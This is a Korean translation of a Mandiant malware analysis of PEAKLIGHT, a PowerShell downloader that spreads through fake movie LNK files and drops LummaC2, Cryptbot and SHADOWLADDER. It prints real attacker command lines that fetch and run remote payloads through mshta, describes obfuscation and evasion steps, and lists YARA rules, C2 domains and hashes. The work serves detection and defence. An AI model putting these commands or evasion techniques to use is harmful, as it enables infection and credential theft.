흔적을 남기지 않는 메모리 전용 악성 코드 파헤치기 - PEAKLIGHT
Mandiant
해당 블로그의 원문은 2024년 8월 23일 Google Cloud 블로그(영문)에 게재되었습니다.
작성자: Aaron Lee, Praveeth DSouza
TL;DR
맨디언트는 복잡한 다단계 감염 절차를 사용하는 새로운 메모리 전용 드로퍼(dropper)를 발견했습니다. 이 드로퍼는 파워쉘 기반의 다운로더를 복호화하고 실행합니다. 이 다운로더는 PEAKLIGHT라는 이름으로 추적되고 있습니다.
개요
맨디언트 매니지드 디펜스(Mandiant Managed Defense)는 메모리 전용 드로퍼와 다운로더를 발견하였습니다. 그리고 이를 통해 MaaS(Malware as a Service) 방식으로 정보 탈취 프로그램이 위협 행위자들에게 전달되고 있음을 확인하였습니다. 조사 과정에서 맨디언트는 UMMAC.V2 (LUMMAC2), SHADOWLADDER, CRYPTBOT 같은 악성 코드 페이로드를 다운로드하는 것을 관찰했습니다. 맨디언트는 초기 감염 경로가 CDN(Contents Delivery Network) 서비스에 연결되는 마이크로소프트 바로 가기 파일(LNK) 임을 확인했습니다. 페이로드를 분석해 보니 호스트에서 파워쉘 다운로드 스크립트를 실행하는 것으로 나타났습니다. 맨디언트는 이 다운로더를 PEAKLIGHT라고 이름 붙였습니다.
그림 1: 감염 체인
감염 체인
1단계: 영화 미끼
맨디언트는 최근 조사에서 피해자들이 불법 복제 영화로 위장한 악성 ZIP 파일을 다운로드하는 것을 확인했습니다. 이 압축 파일들에는 다음과 같은 파일 이름 구조를 따르는 마이크로소프트 바로 가기 파일(LNK)이 포함되어 있습니다.
* Video_mp4_1080p_x264.zip -> The Movie (HD).lnk
* Video_mp4_[1080p].zip -> Full Movie 1080p HD.lnk
* @!Movie_HD_1080p_mp4_@!.zip -> Full Movie HD (1080p).lnk
* mp4_Full_Video_HD_1080p@!.zip -> Full Video (HD) mp4.lnk
그림 2. 초기 감염
맨디언트는 관련 조사를 통해 클라이언트 환경에서 특정 IP 주소(62.133.61[.]56)를 향하는 비정상적인 아웃바운드 네트워크 활동을 확인했습니다. 이후 특정 URL(hxxp://62.133.61[.]56/Downloads)에서 다음과 같은 XML 페이지가 발견되었습니다.
그림 3. XML 마크업
특히 주목할 것은 다음과 같은 XML 마크업의 일부 내용입니다.
<D:href>/Downloads/Full%20Video%20HD%20%281080p%29.lnk</D:href>
<D:propstat>
<D:prop>
<D:resourcetype></D:resourcetype>
<D:displayname>Full Video HD (1080p).lnk</D:displayname>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
<D:getetag>"17d6b3e5205a12a0460"</D:getetag>
<D:getcontentlength>1120</D:getcontentlength>
<D:getlastmodified>Fri, 07 Jun 2024 11:01:44 GMT</D:getlastmodified>
<D:supportedlock>
그림 4: 포워딩 메커니즘
위 코드는 hxxp://62.133.61[.]56/Downloads/Full Video HD (1080p).lnk (MD5: 62f20122a70c0f86a98ff14e84bcc999) URL을 리다이렉션하거나 포워딩하는 메커니즘으로 사용되었을 가능성이 있습니다. 맨디언트는 이후 이 파일을 확보하였고, 이것이 미디어 파일 아이콘으로 구성된 LNK 파일이란 것을 확인하였습니다(그림 5).
그림 5: 미디어 파일 아이콘으로 구성된 LNK 파일
LNK 파일은 위협 행위자가 의심하지 않는 사용자를 속여 악성 코드를 실행하게 유도하는 데 사용하는 일반적인 전술입니다. 이 파일들은 정상적인 문서나 프로그램으로 위장할 수 있어 눈에 띄지 않게 숨길 수 있습니다.
맨디언트는 조사 과정에서 LNK 파일의 매개변수 내에서 다른 명령의 변형을 확인했습니다.
변형 1:
LNK 파일의 매개변수 부분은 합법적인 마이크로소프트 유틸리티인 forfiles.exe를 사용해 win.ini 파일을 검색하고 파워쉘 스크립트를 실행하도록 구성되었습니다. 맨디언트는 다음 명령 실행을 관찰하였습니다.
forfiles.exe /p C:\Windows /m win.ini /c "powershell .
mshta https://nextomax.b-cdn[.]net/nexto"
그림 6: 초기 파워쉘 스크립트 변형 1
이 명령은 다음을 수행합니다.
- /p 명령 스위치를 사용해 forfiles.exe 지정된 파일 검색 경로를 C:\Windows로 설정합니다.
-
/m 명령 스위치를 사용해 win.ini라는 이름의 파일을 찾습니다. 일반적인 윈도우 설치에는 일치하는 파일이 하나만 있을 것입니다. 찾은 후 다음을 수행합니다.
- powershell.exe를 시작하고 "."(이 경우에는 명령줄 매개변수로 생성된 출력)을 사용해 로컬화된 스크립트나 dot-sourced 스크립트를 로드합니다.
- hxxps://nextomax.b-cdn[.]net/nexto에서 2단계 페이로드를 가져옵니다.
- 가져온 페이로드를 mshta.exe를 통해 실행합니다.
이 LNK 파일을 실행한 후 영향을 받은 호스트에서 윈도우 미디어 플레이어가 열리고 유명 영화 스튜디오의 오프닝 로고 영상이 자동으로 재생되었습니다. 이 동영상 파일의 이름은 video.mp4 (MD5: 91423dd4f34f759aaf82aa73fa202120)였으며, 실제로는 악성 코드에 감염된 호스트라는 것을 감추기 위한 위장 영상으로 사용한 것으로 추정됩니다.
변형 2:
In a different investigation, Mandiant observed the parameters portion of the LNK file initiated a PowerShell command that employed asterisks (*) as wildcards to launch mshta.exe to discreetly run malicious code retrieved from a remote server.
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
.(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').
('PSChildName')hxxps://potexo.b-cdn[.]net/potexo
그림 7: 초기 파워쉘 스크립트 변형 2
이 명령은 다음과 같은 작업을 수행합니다.
- "."으로 표시된 dot-sourcing 연산자를 사용해 스크립트를 실행합니다.
- Get-ItemProperty(gp)를 사용해 Mshta 레지스트리 하이브를 가리키고, psChildName을 통해 객체인 mshta.exe를 지정합니다.
- hxxps://potexo.b-cdn[.]net/potexo URL에서 2단계 페이로드를 가져와 mshta.exe를 통해 실행합니다.
공격자는 다음과 같은 회피 기법을 사용해 흔적을 숨겼습니다.
-
System Binary Proxy Execution: mshta.exe를 사용해 원격 서버에서 직접 악성 코드를 실행하여 애플리케이션 제어 솔루션과 브라우저 보안 설정을 우회합니다.
-
CDN 악용: 공격자는 신뢰할 수 있는 서비스인 Bunny CDN을 악용하여 악성 페이로드를 호스팅했습니다. 공격자는 이 서비스의 신뢰를 악용하여 신뢰할 수 있는 출처의 트래픽을 철저하게 검사하지 않을 수 있는 보안 필터를 우회했습니다.
소개한 두 가지 변형은 MITRE ATT&CK® Technique T1218.005: System Binary Proxy Execution: Mshta'를 활용합니다.
2단계: 자바 스크립트 드로퍼
다음 그림은 CDN에 캐시 된 HTML 파일의 분석 결과, 난독화된 메모리 전용 자바 스크립트 드로퍼가 포함되어 있다는 것을 보여줍니다.
그림 8: 자바 스크립트 드로퍼 레이어 1
이 스크립트는 먼저 임의로 이름이 지정된 변수에 10진수로 인코딩된 ASCII 문자를 할당하는 것으로 시작합니다. 그런 다음 String.fromCharCode() 함수를 사용해 10진수로 인코딩 된 문자를 해당하는 ASCII 문자로 변환하여 스크립트 내에 포함된 드로퍼를 복호화합니다.
맨디언트는 자바 스크립트 드로퍼를 복호화한 후 다음 그림에 표시된 임베디드 페이로드를 확인했습니다.
그림 9: 자바 스크립트 드로퍼 레이어 2
1. 복호화 함수 (wAJ)
-
이 함수는 숫자 배열을 받아 각 숫자에서 619를 뺀 후 String.fromCharCode()를 사용해 결과를 해당하는 문자로 변환합니다. 그런 다음, 이 문자를 결합해 최종 복호화된 문자열을 생성해 반환합니다.
2. Payload (KbX, YmD)
-
변수 KbX와 YmD는 암호화된 데이터를 포함하고 있으며, 이 데이터는 wAJ 함수를 통해 복호화됩니다
3. ActiveXObject
-
The script employs a decoded variable YmD, which resolves to Wscript.shell, to create a new ActiveX object. This object grants the script system-level privileges to execute commands.
-
스크립트는 복호화된 YmD 변수를 사용해 Wscript.shell로 해석되는 값을 생성하고, 이를 사용해 새로운 ActiveX 객체를 만듭니다. 이 객체는 스크립트에 시스템 수준의 명령 실행 권한을 부여하여 명령을 실행할 수 있게 합니다.
4. IMD.Run
-
복호화된 KbX 명령을 실행합니다. 매개변수는 다음과 같습니다. 참고로 간단히 주요 내용 위주로 살펴보기 위해 KbX에 대한 설명은 따로 하지 않았습니다.
-
파라미터:
-
0: 이 매개변수는 명령이 숨겨진 창에서 실행되도록 지시하여 사용자에게 작업 내용을 숨깁니다.
-
true: 이 매개변수는 명령이 완료될 때까지 스크립트가 다음 단계로 넘어가지 않도록 보장합니다.
한편, 맨디언트는 CyberChef 레시피를 사용해 암호화된 자바 스크립트 드로퍼를 성공적으로 복호화했습니다.
변형 1: 16진수 인코딩된 페이로드
그림 10: 파워쉘 16진수 인코딩된 페이로드
첫 번째 명령은 악성 페이로드를 16진수 문자열 내에 숨깁니다. 실행 프로세스는 다음과 같습니다.
-
은밀한 파워쉘 실행: 명령은 숨겨진 창(
-w 1
)에서 파워쉘을 시작하고 실행 제한(-ep Unrestricted
)을 우회하며, 사용자 프로필(-nop
) 로딩을 건너뛰어 은밀하게 작업하였습니다. -
16진수에서 바이트로 변환: 사용자 정의 함수(
ffQiHkvB
)가 정의되어 16진수 문자열을 바이트 배열로 변환합니다. 바이트 배열은 데이터를 저장하는 표준 형식입니다. -
복호화: 스크립트는 고급 암호화 표준(CBC 모드)을 사용하여 복호화기를 생성하고, 16진수 키를 사용합니다. 바이트 배열이 복호화되어 실제 파워쉘 코드가 드러납니다.
-
실행: 마지막으로 복호화된 파워쉘 코드가 실행됩니다.
참고로 맨디언트는 사용자 정의 CyberChef 레시피를 사용해 페이로드를 복호화했습니다.
변형 2: Base64 인코딩된 페이로드
그림 11: 파워쉘 Base64 인코딩된 페이로드
두 번째 명령은 유사한 구조를 따르지만, 다음과 같은 차이점이 있습니다. 악성 페이로드는 16진수 대신 Base64를 사용하여 인코딩되고, 메모리 스트림을 통해 실행됩니다.
-
Stealth and Configuration: 숨겨진 제한 없는 모드에서 파워쉘을 실행하는 초기 단계는 변형 1과 같습니다.
-
Base64 Decoding: 이 변형은 사용자 정의 함수 대신 파워쉘의 FromBase64String 메소드를 사용해 페이로드를 직접 복호화합니다.
-
Decryption, Decompression, and Execution: 페이로드는 Base64로 인코딩된 키를 사용해 AES(ECB 모드)로 복호화됩니다. 이후 페이로드는 GZIP을 사용해 메모리에 압축 해제되어 파워쉘 코드를 드러내고, 이 코드가 실행됩니다.
3단계: PEAKLIGHT - 파워쉘 다운로더
PEAKLIGHT는 난독화된 파워쉘 기반 다운로더입니다. 이 다운로더는 하드코딩된 파일 이름이 있는지 확인하고 파일이 없으면 원격 CDN에서 파일을 다운로드합니다.
맨디언트의 분석 결과 PEAKLIGHT 스크립트의 변형 간 주요 차이는 다음과 같습니다.
- 대상 디렉토리:
- 변형 1 - $env:AppData 디렉토리에 파일을 다운로드합니다.
- 변형 2 - $env:ProgramData 디렉토리에 파일을 다운로드합니다.
- 실행 로직:
- 변형 1 - 압축 파일 내 파일 목록을 사전 순으로 정렬해 첫 번째 파일을 실행합니다.
- 변형 2 - 압축 파일 내 처음 발견된 파일을 실행합니다.
- 파일 이름:
- 변형 1 - L1.zip과 L2.zip으로 파일을 다운로드합니다.
- 변형 2 - K1.zip과 K2.zip으로 파일을 다운로드합니다.
- 추가 작업:
- 변형 1 - 이미지(video.mp4를 다운로드하고, 원격 서버에 요청을 보냅니다.
- 변형 2 - 이미지 파일을 다운로드하지 않습니다.
참고로 맨디언트는 사용자 정의 CyberChef 레시피를 사용해 난독화된 페이로드를 복호화했습니다.
변형 1
그림 12: PEAKLIGHT 변형 1
그림 12는 PEAKLIGHT 다운로더의 변형 1을 보여줍니다. 이 다운로더는 다음 작업을 수행하도록 설계되었습니다.
-
znY: 파일 쓰기.
-
nbF: 압축 해제 및 실행, 이 함수는 ZIP 압축 파일을 풀고 파일 내 첫 번째 실행 파일을 실행합니다.
-
aXR: 다운로드, 이 함수는 난독화된 URL에서 데이터를 다운로드합니다.
-
jkg: 문자열 복호화, 이 함수는 문자열의 난독화를 해제합니다.
메인 함수 (AsD)
-
비디오 재생 또는 다운로드: 이 함수는 AppData 폴더에 video.mp4 파일이 있는지 확인합니다. 존재하면 비디오를 재생하고, 없으면 지정된 URL에서 비디오를 다운로드하여 AppData 폴더에 video.mp4로 저장한 다음 재생합니다.
-
이미지 다운로드: 이 함수는 Invoke-WebRequest를 사용하여 https://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png에서 이미지를 다운로드합니다.
-
ZIP 파일 처리
-
이 함수는 AppData 폴더에 L1.zip 파일이 있는지 확인합니다.
-
존재하면 압축 파일 내용을 AppData 폴더에 풀고 압축 파일 내 첫 번째 실행 파일을 실행합니다.
-
없으면 지정된 URL에서 L1.zip 파일을 다운로드하여 AppData 폴더에 저장하고 압축을 풀고 첫 번째 실행 파일을 실행합니다.
-
L2.zip 파일에 대해서도 같은 과정을 반복합니다.
-
분석 결과 그림 12에 나와 있는 PEAKLIGHT 다운로더는 다음과 같은 URI를 사용합니다.
-
https://nextomax.b-cdn[.]net/video.mp4
-
https://nextomax.b-cdn[.]net/L1.zip
-
https://nextomax.b-cdn[.]net/L2.zip
-
https://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png
변형 2
그림 13: PEAKLIGHT 변형 2
이 PEAKLIGHT 다운로더는 감염된 시스템에 추가 페이로드를 전달하고 실행하도록 설계되었습니다. 각 기능은 다음과 같습니다.
-
qXF($EGa, $aQU): 데이터를 파일에 쓰는 기능입니다.
-
Irl($EGa): ZIP 압축 파일을 추출하고 그 안에서 실행 파일을 실행합니다.
-
OBs($BYu): URL에서 데이터를 다운로드합니다.
-
Fzl($XFW): 숫자 배열을 문자열(아마도 URL)로 복호화합니다.
메인 함수 (bSo function):
-
ProgramData 디렉토리 내에 K1.zip과 K2.zip 두 개의 ZIP 파일 경로를 정의합니다.
-
각 ZIP 파일에 대해 파일이 이미 존재하는지 확인합니다.
-
파일이 존재하면 Irl 함수를 사용해 압축을 해제합니다.
-
파일이 없으면 먼저 Fzl 함수를 사용해 암호화된 웹 주소를 복호화한 다음 OBs 함수를 사용해 해당 주소에서 ZIP 파일을 다운로드합니다. 마지막으로 다운로드한 파일을 Irl 함수를 사용해 압축을 해제합니다.
그림 13에 요약된 PEAKLIGHT 다운로드 분석 결과 다음 URI가 확인되었습니다.
-
https://potexo.b-cdn[.]net/K1.zip
-
https://potexo.b-cdn[.]net/K2.zip
또한, 맨디언트는 Bunny CDN에 호스팅된 다양한 서브 도메인에 연결된 다른 PEAKLIGHT 다운로더 샘플도 확인했습니다. 이들 샘플은 분석 다음 단계에서 더 자세히 다룰 예정입니다.
4단계: PEAKLIGHT - 파워쉘 다운로더
변형 1: L1.zip & L2.zip
앞서 PEAKLIGHT 다운로더의 초기 단계에 대해 간단히 알아보았습니다. 이제 이 다운로더가 전달하는 페이로드를 설명하겠습니다. 3단계의 첫 번째 변형에서 소개한 바와 같이 이 다운로더는 특정 파일 세 가지(L1.zip, L2.zip, video.mp4)를 다운로드하는 것으로 관찰되었습니다(표 1).
- L2.zip 에는 다음과 같은 파일이 포함되어 있습니다.
- Setup.exe: 이 실행 파일은 Cryptbot 정보 탈취 프로그램의 변형입니다. 분석 결과 다음과 같은 URL이 내장되어 있었습니다.
- https://brewdogebar[.]com/code.vue
- http://gceight8vt[.]top/upload.php
- Setup.exe: 이 실행 파일은 Cryptbot 정보 탈취 프로그램의 변형입니다. 분석 결과 다음과 같은 URL이 내장되어 있었습니다.
- L1.zip에는 다음과 같은 파일이 포함되어 있습니다.
- bentonite.cfg: 이 파일은 SHADOWLADDER 악성 코드 패밀리와 연결된 악성 코드 설정을 포함하고 있습니다.
- LiteSkinUtils.dll: 이 파일은 SHADOWLADDER 악성 코드가 동적 링크 라이브러리(DLL) 사이드 로딩을 통해 2단계 페이로드를 실행하는 데 사용하는 악성 구성 요소입니다
- Video.mp4
- 이 파일은 아마도 합법적인 영화 예고편으로 보이며, 피해자를 속여 다운로드된 파일들이 안전하다고 믿게 하려는 미끼로 보입니다.
변형 2: K1.zip and K2.zip
PEAKLIGHT 다운로더의 두 번째 변형은 3단계의 변형 2에서 설명한 바 있습니다. 이 변형에서는 K1.zip과 K2.zip 두 개의 아카이브가 다운로드되는 것이 관찰되었습니다.
- K1.zip에는 다음과 같은 파일이 포함되어 있습니다.
- toughie.txt: 이 파일에는 SHADOWLADDER 악성 코드와 관련된 설정이 포함되어 있었습니다.
- aaaa.exe & WCLDll.dll: 이 바이너리는 SHADOWLADDER가 HTTP 다운로드 기능을 활용하기 위해 패치하는 DLL 파일입니다.
- K2.zip에는 다음과 같은 파일이 포함되어 있습니다.
- Jfts.exe: 이 파일은 앞서 언급한 aaaa.exe의 이름이 변경된 복사본입니다.
Jfts.exe가 실행되면 K1.zip에 포함된 악성 WCLDll.dll을 로드합니다. 이 DLL은 "More Utility"(more.com)를 사용하여 은밀하게 추가 파일 두 개를 드롭합니다.
- \AppData\Local\Temp\Hofla.au3 (MD5: c56b5f0201a3b3de53e561fe76912bfd): AutoIt3.exe 바이너리로 식별됨.
- \AppData\Local\Temp\erefgojgbu (MD5: d6ea5dcdb2f88a65399f87809f43f83c): 이 파일들은 추가 분석 결과 CRYPTBOT.AUTOIT 악성코드와 연관된 것으로 확인되었습니다.
변형 3: 추가 PEAKLIGHT 변형
추가 분석을 통해 고유한 전술을 사용하는 또 다른 PEAKLIGHT 다운로더 변형이 발견되었습니다. 이 변형은 matodown.b-cdn[.]net 도메인에서 페이로드인 K1.zip과 K2.zip 아카이브를 가져옵니다. 여기에 포함된 컨텐츠는 표 3을 참조 바랍니다.
- K1.zip에는 다음과 같은 파일이 포함되어 있었습니다.
- cymophane.doc: 이 파일에는 SHADOWLADDER 악성 코드 관련 설정이 포함되어 있습니다.
- WebView2Loader.dll: 이 악성 DLL은 LummaC.V2 정보 탈취 프로그램에 의해 드롭된 것으로 관찰되었습니다.
- K2.zip에는 다음과 같은 파일이 포함되어 있었습니다.
- Hgjke.exe: 합법적인 "JRiver Web Application" 실행 파일의 이름이 변경된 복사본으로 식별되었습니다. 동적 분석 중 hgjke.exe가 악성 WebView2Loader.dll을 로드하는 것이 관찰되었습니다. 맨디언트는 hgjke.exe가 comp.exe 유틸리티를 사용해 다음과 같은 추가 파일 2개를 드롭하는 것을 확인했습니다.
- AppData\Local\Temp\Ufa.au3 (MD5: c56b5f0201a3b3de53e561fe76912bfd): AutoIt3 바이너리로 식별되었습니다. .
- AppData\Local\Temp\oqnhustu (MD5: 43939986a671821203bf9b6ba52a51b4): 추가 분석 결과 이 파일이 LummaC.V2 페이로드와 일치하는 것으로 확인되었습니다.
- Hgjke.exe: 합법적인 "JRiver Web Application" 실행 파일의 이름이 변경된 복사본으로 식별되었습니다. 동적 분석 중 hgjke.exe가 악성 WebView2Loader.dll을 로드하는 것이 관찰되었습니다. 맨디언트는 hgjke.exe가 comp.exe 유틸리티를 사용해 다음과 같은 추가 파일 2개를 드롭하는 것을 확인했습니다.
결론 & 감사의 말
PEAKLIGHT는 다단계 실행 체인의 일부인 난독화된 파워쉘 기반 다운로더로 하드코딩된 파일 경로에서 ZIP 아카이브의 존재를 확인합니다. 아카이브가 존재하지 않는 경우 다운로더는 CDN 사이트에 접근하여 원격 호스팅된 아카이브 파일을 다운로드하고 디스크에 저장합니다. PEAKLIGHT는 LUMMAC.V2, SHADOWADDER 및 CRPYTBOT 같은 페이로드를 다운로드하는 것이 관찰되었습니다. 악성 코드 개발자는 시스템 바이너리 프록시 실행 및 CDN 남용 등 여러 가지 난독화 및 회피 기법을 사용했습니다. 맨디언트는 각각 고유한 특성을 가진 PEAKLIGHT 다운로더의 여러 변종을 식별했습니다.
보안 연구자들은 경계를 늦추지 않고 발견한 통찰력이나 유사 악성 코드를 공유하기를 바랍니다. 사이버 보안 커뮤니티 내에서 협력하고 개방적인 의사소통을 촉진하여 진화하는 위협 환경을 더 잘 이해하고 미래의 공격에 대비해 공동 방어를 강화할 수 있습니다.
아래에 소개하는 위험 요소 및 YARA 룰을 적용해 환경을 검사하고 보호하십시오. 환경이 손상되었다고 의심되면 맨디언트의 인시던트 대응팀에 역락해 지원을 받으십시오.
끝으로 LNK 연구 및 지식을 공유해 주신 Adrian McCabe, 악성 코드 단계 및 페이로드에 대한 초기 분석을 해주신 Raymond Leong, 그리고 귀중한 피드백을 제공해 주신 맨디언트 연구팀에 감사드립니다.
탐지
Yara 룰
rule M_AES_Encrypted_payload {
meta:
author = "Mandiant"
description = "This rule is desgined to detect on events that
exhibits indicators of utilizing AES encryption for payload obfuscation."
target_entity = "Process"
strings:
$a = /(\$\w+\.Key(\s|)=((\s|)(\w+|));|\$\w+\.Key(\s|)=(\s|)\w+\('\w+'\);)/
$b = /\$\w+\.IV/
$c = /System\.Security\.Cryptography\.(AesManaged|Aes)/
condition:
all of them
}
rule M_Downloader_PEAKLIGHT_1 {
meta:
mandiant_rule_id = "e0abae27-0816-446f-9475-1987ccbb1bc0"
author = Mandiant
category = "Malware"
description = "This rule is designed to detect on events related to peaklight.
PEAKLIGHT is an obfuscated PowerShell-based downloader which checks for
the presence of hard-coded filenames and downloads files from a remote CDN
if the files are not present."
family = "Peaklight"
platform = "Windows"
strings:
$str1 = /function\s{1,16}\w{1,32}\(\$\w{1,32},\s{1,4}\$\w{1,32}\)\
{\[IO\.File\]::WriteAllBytes\(\$\w{1,32},\s{1,4}\$\w{1,32}\)\}/ ascii wide
$str2 = /Expand-Archive\s{1,16}-Path\s{1,16}\$\w{1,32}\
s{1,16}-DestinationPath/ ascii wide
$str3 = /\(\w{1,32}\s{1,4}@\((\d{3,6},){3,12}/ ascii wide
$str4 = ".DownloadData(" ascii wide
$str5 = "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12" ascii wide
$str6 = /\.EndsWith\(((["']\.zip["'])|(\(\w{1,32}\s{1,16}@\((\d{3,6},){3}\d{3,6}\)\)))/ ascii wide
$str7 = "Add -Type -Assembly System.IO.Compression.FileSystem" ascii wide
$str8 = "[IO.Compression.ZipFile]::OpenRead"
condition:
4 of them and filesize < 10KB
}
침해 지표 (IOCs)
네트워크 기반 침해 지표
PEAKLIGHT NBIs:
hxxps://fatodex.b-cdn[.]net/fatodex
hxxps://matodown.b-cdn[.]net/matodown
hxxps://potexo.b-cdn[.]net/potexo
LUMMAC.V2 C2s:
relaxtionflouwerwi[.]shop
deprivedrinkyfaiir[.]shop
detailbaconroollyws[.]shop
messtimetabledkolvk[.]shop
considerrycurrentyws[.]shop
understanndtytonyguw[.]shop
patternapplauderw[.]shop
horsedwollfedrwos[.]shop
tropicalironexpressiw[.]shop
CRYPTBOT C2s:
hxxp://gceight8vt[.]top/upload.php
hxxps://brewdogebar[.]com/code.vue
SHADOWLADDER:
hxxp://62.133.61[.]56/Downloads/Full%20Video%20HD%20(1080p).lnk
hxxps://fatodex.b-cdn[.]net/K1.zip
hxxps://fatodex.b-cdn[.]net/K2.zip
hxxps://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png
hxxps://matodown.b-cdn[.]net/K1.zip
hxxps://matodown.b-cdn[.]net/K2.zip
hxxps://nextomax.b-cdn[.]net/L1.zip
hxxps://nextomax.b-cdn[.]net/L2.zip
hxxps://potexo.b-cdn[.]net/K1.zip
hxxps://potexo.b-cdn[.]net/K2.zip
호스트 기반 침해 지표
CRYPTBOT:
erefgojgbu (MD5: d6ea5dcdb2f88a65399f87809f43f83c)
L2.zip (MD5: 307f40ebc6d8a207455c96d34759f1f3)
Sеtup.exe (MD5: d8e21ac76b228ec144217d1e85df2693)
LUMMAC.V2:
oqnhustu (MD5: 43939986a671821203bf9b6ba52a51b4)
WebView2Loader.dll (MD5: 58c4ba9385139785e9700898cb097538)
PEAKLIGHT:
Downloader (MD5: 95361f5f264e58d6ca4538e7b436ab67)
Downloader (MD5: b716a1d24c05c6adee11ca7388b728d3)
SHADOWLADDER:
Aaaa.exe (MD5: b15bac961f62448c872e1dc6d3931016)
bentonite.cfg (MD5: e7c43dc3ec4360374043b872f934ec9e)
cymophane.doc (MD5: f98e0d9599d40ed032ff16de242987ca)
K1.zip (MD5: b6b8164feca728db02e6b636162a2960)
K1.zip (MD5: bb9641e3035ae8c0ab6117ecc82b65a1)
K2.zip (MD5: 236c709bbcb92aa30b7e67705ef7f55a)
K2.zip (MD5: d7aff07e7cd20a5419f2411f6330f530)
L1.zip (MD5: a6c4d2072961e9a8c98712c46be588f8)
LiteSkinUtils.dll (MD5: 059d94e8944eca4056e92d60f7044f14)
toughie.txt (MD5: dfdc331e575dae6660d6ed3c03d214bd)
WCLDll.dll (MD5: 47eee41b822d953c47434377006e01fe)